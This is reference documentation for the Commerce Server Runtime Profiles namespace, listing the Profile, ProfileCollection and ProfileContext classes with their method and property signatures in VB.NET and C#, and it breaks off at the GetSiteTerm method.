Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


Profile Class (BCL)

Creates an abstraction for the profile object Primary Interop Assembly (PIA) type.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetXml(ProfileXmlRetrieve, ProfileXmlFormat) | Retrieves the XML representation for this profile object in the specified format.
Refresh | Reloads the object from the underlying stores.
Update | Updates the profile object with the property values specified in the xmlData parameter.
Update(String, ProfileXmlFormat) | Updates the profile object with the property values specified in the xmlData parameter.

Public Instance Properties

Property | Description
Item(String) | Retrieves ProfileProperty instance by name.
Properties | Retrieves the property collection on this profile object.
PropertyGroups | Retrieves the property groups collection on this profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetXml(ProfileXmlRetrieve, ProfileXmlFormat) | Retrieves the XML representation for this profile object in the specified format.
Refresh | Reloads the object from the underlying stores.
Update | Updates the profile object with the property values specified in the xmlData parameter.
Update(String, ProfileXmlFormat) | Updates the profile object with the property values specified in the xmlData parameter.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Profile.GetXml (ProfileXmlRetrieve, ProfileXmlFormat) Method (BCL)

Use this method to retrieve the XML representation for this profile object in the specified format.

Definition

[Visual Basic .NET]
Public Function GetXml( _
  ByVal xmlRetrieve As ProfileXmlRetrieve, _
  ByVal xmlFormat As ProfileXmlFormat _
) As System.String
[C#]
public System.String GetXml(
  ProfileXmlRetrieve xmlRetrieve,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
xmlRetrieve
The ProfileXmlRetrieve object.
xmlFormat
The ProfileXmlFormat object.
[C#]
xmlRetrieve
The ProfileXmlRetrieve object.
xmlFormat
The ProfileXmlFormat object.

Return Value

A System.String object containing the XML data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Profile.Refresh Method (BCL)

Use this method to reload the object from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Refresh( _
)
[C#]
public void Refresh(
);

Remarks

This method wraps the IProfileObject::GetInfo method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Update Method (BCL)

Use this method to persist the state of the object to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Update( _
)
[C#]
public void Update(
);

Remarks

This method wraps the IProfileObject::Update method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Update (String, ProfileXmlFormat) Method (BCL)

Use this method to update the profile object with the property values specified in the xmlData parameter.

Definition

[Visual Basic .NET]
Public Sub Update( _
  ByVal xmlData As System.String, _
  ByVal xmlFormat As ProfileXmlFormat _
)
[C#]
public void Update(
  System.String xmlData,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
xmlData
The XML string containing the updated property values.
xmlFormat
ProfileXmlFormat class determining whether in element centric or attribute centric format.
[C#]
xmlData
The XML string containing the updated property values.
xmlFormat
ProfileXmlFormat class determining whether in element centric or attribute centric format.

Remarks

If the Update method is called on a new profile object created using the CreateProfile method and the profile already exists in the profile store, then a CommerceProfileAlreadyExists exception is raised.

In case of other errors, this method raises a CommerceProfileSystemException exception that wraps an inner COMException. The Message and ErrorCode properties of the inner COMException contain details on the specific error that occurred.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Properties | Retrieves the property collection on this profile object.
PropertyGroups | Retrieves the property groups collection on this profile object.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Item Property (BCL)

The Item property retrieves the ProfileProperty instance by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
A System.String containing the name of the property.
[C#]
propertyName
A System.String containing the name of the property.

Property Value

The ProfileProperty object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Properties Property (BCL)

The Properties property retrieves the property collection on this profile object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public virtual ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Implements

Microsoft.CommerceServer.Runtime.Profiles.IProfile

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the property groups collection on this profile object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public virtual ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Implements

Microsoft.CommerceServer.Runtime.Profiles.IProfile

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileCollection Class (BCL)

Creates an abstraction for the profile properties collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit Icollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyCollection.CopyTo (Array, Int32) Method (BCL)

Explicit Icollection.CopyTo implementation. This method copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy data to.
index
The count of elements to copy.
[C#]
array
The array to copy data to.
index
The count of elements to copy.

Implements

System.Collections.ICollection

Remarks

Always throws an InvalidOperation exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.Collections.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.


ProfileCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

A System.Int32 indicating the number of caches.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.Item(Int32) Property (BCL)

The Item property is an indexer to allow for accessing the ProfileProperty collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
Integer signifying the index value.
[C#]
index
Integer signifying the index value.

Property Value

An Integer that serves as the index to the ProfileProperty collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.SyncRoot Property (BCL)

Use the SyncRoot property to retrieve the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileContext Class (BCL)

Creates an abstraction for the Commerce Server profile service component.

Use the ProfileContext object to manipulate Profile objects and SiteTerm objects and to gain access to the Commerce Server OLEDB provider for bulk profile manipulations.

When running in the Commerce Server .NET Application framework, a default ProfileContext instance is created and exposed through the ProfileSystem property of the CommerceContext object.

Public Instance Constructor

Constructor | Description
ProfileContext Constructor(String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string and DebugContext object.
ProfileContext Constructor(String, String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string and DebugContext object.
ProfileContext Constructor(String, String, String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string and DebugContext object.

Public Instance Methods

Method | Description
CreateProfile(Int32, String) | Creates a new profile object instance.
CreateProfile(String, String) | Creates a new profile object instance.
CreateProfile(String, String, String, ProfileXmlFormat) | Creates a new profile object instance.
DeleteProfile(Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String) | Deletes the specified profile object.
DeleteProfile(String, Int32, String) | Deletes the specified profile object.
DeleteProfile(String, String, String) | Deletes the specified profile object.
Dispose | Releases resources used by this object.
GetProfile(Int32, String) | Retrieves the specified profile object.
GetProfile(String, String) | Retrieves the specified profile object.
GetProfile(String, Int32, String) | Retrieves the specified profile object.
GetProfile(String, String, String) | Retrieves the specified profile object.
GetSiteTerm(String) | Initializes the SiteTerms collection and returns the specified site term.

Public Instance Properties

Property | Description
CommerceOleDbProvider | Accesses the OLE DB Provider for Commerce Server handle.
SiteTermNames | Gets the SiteTerms collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ProfileContext Constructor(String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string(s) and DebugContext object.
ProfileContext Constructor(String, String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string(s) and DebugContext object.
ProfileContext Constructor(String, String, String, DebugContext) | Creates a new instance of the ProfileContext class with the specified connection string(s) and DebugContext object.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
The connection string to the profile definitions store.
dbgContext
The DebugContext object.
[C#]
profilesvcConnstr
The connection string to the profile definitions store.
dbgContext
The DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

When this form of the constructor is used, the CommerceOleDbProvider property is not available for use. Additionally, the profiles catalog is defaulted to "Profile Definitions", the default profiles catalog in Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal profilesCatalog As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  System.String profilesCatalog,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
The connection to the profile definitions store.
profilesCatalog
The connection string for the OLEDB Provider for Commerce Server.
dbgContext
The DebugContext object.
[C#]
profilesvcConnstr
The connection to the profile definitions store.
providerConnstr
The connection string for the OLEDB Provider for Commerce Server.
dbgContext
The DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

When this form of the constructor is used, the CommerceOleDbProvider property is not available for use.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Constructor (String, String, String, DebugContext) (BCL)

Use this method to create a new instance of the ProfileContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal profilesvcConnstr As System.String, _
  ByVal providerConnstr As System.String, _
  ByVal bdaoConnstr As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ProfileContext(
  System.String profilesvcConnstr,
  System.String providerConnstr,
  System.String bdaoConnstr,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
profilesvcConnstr
Connection to the profile definitions store.
providerConnstr
Connection string for the OLEDB Provider for Commerce Server.
bdaoConnstr
Connection string for the bizdata store.
dbgContext
DebugContext object.
[C#]
profilesvcConnstr
Connection to the profile definitions store.
providerConnstr
Connection string for the OLEDB Provider for Commerce Server.
bdaoConnstr
Connection string for the bizdata store.
dbgContext
DebugContext object.

Remarks

Throws an ArgumentNullException if any of the parameters are missing.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Methods (BCL)

Public Instance Methods

Method | Description
CreateProfile(Int32, String) | Create a new profile object instance.
CreateProfile(String, String) | Create a new profile object instance.
CreateProfile(String, String, String, ProfileXmlFormat) | Create a new profile object instance.
DeleteProfile(Int32, String) | Delete specified profile object.
DeleteProfile(String, String) | Delete specified profile object.
DeleteProfile(String, Int32, String) | Delete specified profile object.
DeleteProfile(String, String, String) | Delete specified profile object.
Dispose | Releases resources used by this object.
GetProfile(Int32, String) | Retrieve specified profile object.
GetProfile(String, String) | Retrieve specified profile object.
GetProfile(String, Int32, String) | Retrieve specified profile object.
GetProfile(String, String, String) | Retrieve specified profile object.
GetSiteTerm(String) | Initializes the SiteTerms collection and returns the specified SiteTerm.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (String, String) Method (BCL)

Create a new profile object instance.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile CreateProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
String Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".
[C#]
keyValue
String Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".

Return Value

Handle to newly created profile object.

Remarks

For more information about profile programming concepts, see Profile Programming Concepts .

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (Int32, String) Method (BCL)

Create a new profile object instance using the specified integer as the primary key value.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile CreateProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
Value of the primary key property.
profileType
Profile definition of interest, such as "UserObject", or "Organization".
[C#]
keyValue
Value of the primary key property.
profileType
Profile definition of interest, such as "UserObject", or "Organization".

Return Value

Handle to newly created profile object.

Remarks

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CreateProfile (String, String, String, ProfileXmlFormat) Method (BCL)

Create a new profile object instance using the specified string as the primary key value and initializing the profile data from the provided XML fragment.

[Visual Basic .NET]
Public Function CreateProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String, _
  ByVal xmlData As System.String, _
  ByVal xmlFormat As ProfileXmlFormat_
) As Profile
[C#]
public Profile CreateProfile(
  System.String keyValue,
  System.String profileType,
  System.String xmlData,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
keyValue
String Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".
xmlData
String XML blob specifying initial state of the profile object.
xmlFormat
ProfileXmlFormat as specified in attribute centric or element centric format. For more information, see ProfileXmlFormat.
[C#]
keyValue
String Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".
xmlData
String XML blob specifying initial state of the profile object.
xmlFormat
ProfileXmlFormat as specified in attribute centric or element centric format. For more information, see ProfileXmlFormat.

Return Value

Handle to newly created profile object.

Remarks

This method throws a CommerceProfileAlreadyExistsException exception if a profile instance with the specified primary key already exists. Note that this method only checks the local profile cache for existence of a profile with the provided key. The physical profile store is not checked until the Update method is called to commit the new profile instance to the store. For any other failure, it throws a CommerceProfileSystemException exception that wraps an inner COMException exception that contains an error code and description describing in more detail the nature of the failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, String) Method (BCL)

Deletes a profile object instance using the specified string as the primary key value.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".
[C#]
keyValue
Value of the primary key property.
profileType
String Profile definition of interest, for example, "UserObject", or "Organization".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (Int32, String) Method (BCL)

Delete specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.
[C#]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, String, String) Method (BCL)

Delete specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyName,
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
Name of the key property.
keyValue
Value of the key property.
profileType
Profile definition of interest.
[C#]
keyName
Name of the key property.
keyValue
Value of the key property.
profileType
Profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.DeleteProfile (String, Int32, String) Method (BCL)

Delete specified profile object.

[Visual Basic .NET]
Public Sub DeleteProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
)
[C#]
public void DeleteProfile(
  System.String keyName,
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
Name of the key property.
keyValue
Value of the key property.
profileType
Profile definition of interest.
[C#]
keyName
Name of the key property.
keyValue
Value of the key property.
profileType
Profile definition of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Public Sub Dispose( _
)
[C#]
public void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, String) Method (BCL)

Retrieve specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.
[C#]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.

Return Value

Retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (Int32, String) Method (BCL)

Retrieve specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.
[C#]
keyValue
Value of the primary key property.
profileType
Profile definition of interest.

Return Value

Retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, String, String) Method (BCL)

Retrieve specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.String, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyName,
  System.String keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
Profile key property of interest.
keyValue
Value of the primary key property.
profileType
Profile definition of interest.
[C#]
keyName
Profile key property of interest.
keyValue
Value of the primary key property.
profileType
Profile definition of interest.

Return Value

Retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetProfile (String, Int32, String) Method (BCL)

Retrieve specified profile object.

[Visual Basic .NET]
Public Function GetProfile( _
  ByVal keyName As System.String, _
  ByVal keyValue As System.Int32, _
  ByVal profileType As System.String _
) As Profile
[C#]
public Profile GetProfile(
  System.String keyName,
  System.Int32 keyValue,
  System.String profileType
);

Parameters

[Visual Basic .NET]
keyName
Profile key property of interest.
keyValue
Value of the primary key property.
profileType
Profile definition of interest.
[C#]
keyName
Profile key property of interest.
keyValue
Value of the primary key property.
profileType
Profile definition of interest.

Return Value

Retrieved profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.GetSiteTerm (String) Method (BCL)

Initializes the SiteTerms collection and returns the specified SiteTerm object. Returns the SiteTerm object instance for the requested SiteTerm name. Returns null if the requested SiteTerm object does not exist in the profile system.

[Visual Basic .NET]
Public Function GetSiteTerm( _
  ByVal name As System.String _
) As SiteTerm
[C#]
public SiteTerm GetSiteTerm(
  System.String name
);

Parameters

[Visual Basic .NET]
name
The name of the SiteTerm.
[C#]
name
The name of the SiteTerm.

Return Value

The SiteTerm object.

Remarks

